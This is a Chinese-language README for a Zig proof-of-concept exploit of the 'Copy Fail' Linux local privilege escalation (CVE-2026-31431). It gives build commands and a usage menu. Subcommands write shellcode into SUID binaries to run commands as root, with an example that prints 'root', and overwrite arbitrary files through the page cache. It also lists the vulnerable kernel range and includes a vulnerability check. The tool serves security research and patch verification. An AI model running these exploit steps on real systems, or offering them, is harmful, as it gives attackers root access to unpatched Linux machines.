732 字节 概念验证 的 Zig 实现,针对由 Theori / Xint 于 2026 年 4 月 29 日披露的 Copy Fail Linux 本地提权漏洞(CVE-2026-31431)。 详细分析文章可在 copy.fail 查看。
此实现无运行时依赖,可作为独立二进制文件运行。
构建该漏洞利用程序需要 zig 0.16.0 或更高版本,可从 ziglang.org 安装。 要构建漏洞利用程序,请在终端中运行以下命令:
zig build
可选地,可以为不同的目标平台进行交叉构建 例如
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall
或使用未压缩的载荷
zig build -Dcompress=false
可以直接运行编译后的二进制文件,或使用 zig 运行它
zig-out/bin/copyfail
或
zig build run
$ zig-out/bin/copyfail
用法:
run <路径> <数据> [偏移量] [-- 参数...] - 将数据写入可执行文件指定偏移量(默认 0)并运行它
sudo <suid路径> [命令...] - 通过向 suid 二进制文件写入 shellcode 以 root 身份运行命令。
(命令的第一个参数必须是待运行程序的完整路径)
modify <路径> <数据> [偏移量] - 将数据写入文件指定偏移量(默认 0)
reset <路径> - 将文件重置为原始状态
help - 显示此消息
可执行文件可以使用不同的命令运行:
run
首先将提供的数据写入指定路径的可执行文件的指定偏移量(默认 0),然后运行它。
执行完成后,使用 posix_fadvise 将文件重置为原始状态。
示例:
copyfail run /path/to/exe $(cat shellcode_bin) -- /bin/sh
sudo
将内置 shellcode 写入 suid 二进制文件并执行它以 root 身份运行命令。
shellcode 的源代码可在 payloads/sudo.zig 中找到。
命令的第一个参数必须是程序的完整路径,因为 shellcode 不会搜索要运行的程序。
执行完成后,文件会像 run 命令一样被重置。
示例:
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root
modify
将提供的数据写入指定路径文件的指定偏移量(默认 0),而不执行它。
修改后,文件不会被重置。使用 reset 命令将其重置。
示例:
copyfail modify /path/to/file "My new content" 1337
reset
使用 posix_fadvise 将指定路径的文件重置为原始状态。这会丢弃缓存的页面,并在再次访问时从磁盘读取内容。
示例:
copyfail reset /path/to/file
is_vulnerable
通过创建临时文件、向其写入测试数据并读回以检查数据是否被破坏,来检测系统是否存在漏洞。
示例:
$ copyfail is_vulnerable
warning: System is vulnerable
或
info: System is not vulnerable
help
打印用法消息。
下限: torvalds/linux 72548b093ee3 2017 年 8 月,v4.14
(AF_ALG iov_iter 重构,
引入了通过 splice 将文件页写入
AEAD 散列表的原始写操作)
上限: torvalds/linux a664bf3d603d 2026 年 4 月,主线
(回滚了 2017 年的 algif_aead
原地优化;将源和目标散列表
分离,使页缓存页面不再
能作为可写的加密目标)
介于两者之间:所有未移植修复程序的主流发行版内核。
Ubuntu、RHEL、SUSE、Amazon Linux 和 Debian 在披露时均被确认在其标准云镜像内核中存在漏洞。发行版级别的
移植修复程序大约在 2026-04-29 与公开披露同时开始推出。要验证目标内核是否在受影响范围内,请检查
a664bf3d603d(或其发行版特定的移植版本)是否存在于内核的
git 日志或发行版的变更日志中。
CVE-2026-31431 的发现与原始披露:Theori / Xint。 公开分析文章见 copy.fail。
此 Zig 实现:Emmmmllll [email protected]
Zig 编译器与标准库:Zig Software Foundation,采用 MIT 许可 https://codeberg.org/ziglang/zig。
该漏洞利用程序与载荷仅用于安全研究和防御性检测目的。对你不拥有或未经明确授权测试的系统使用,后果自负,与作者无关。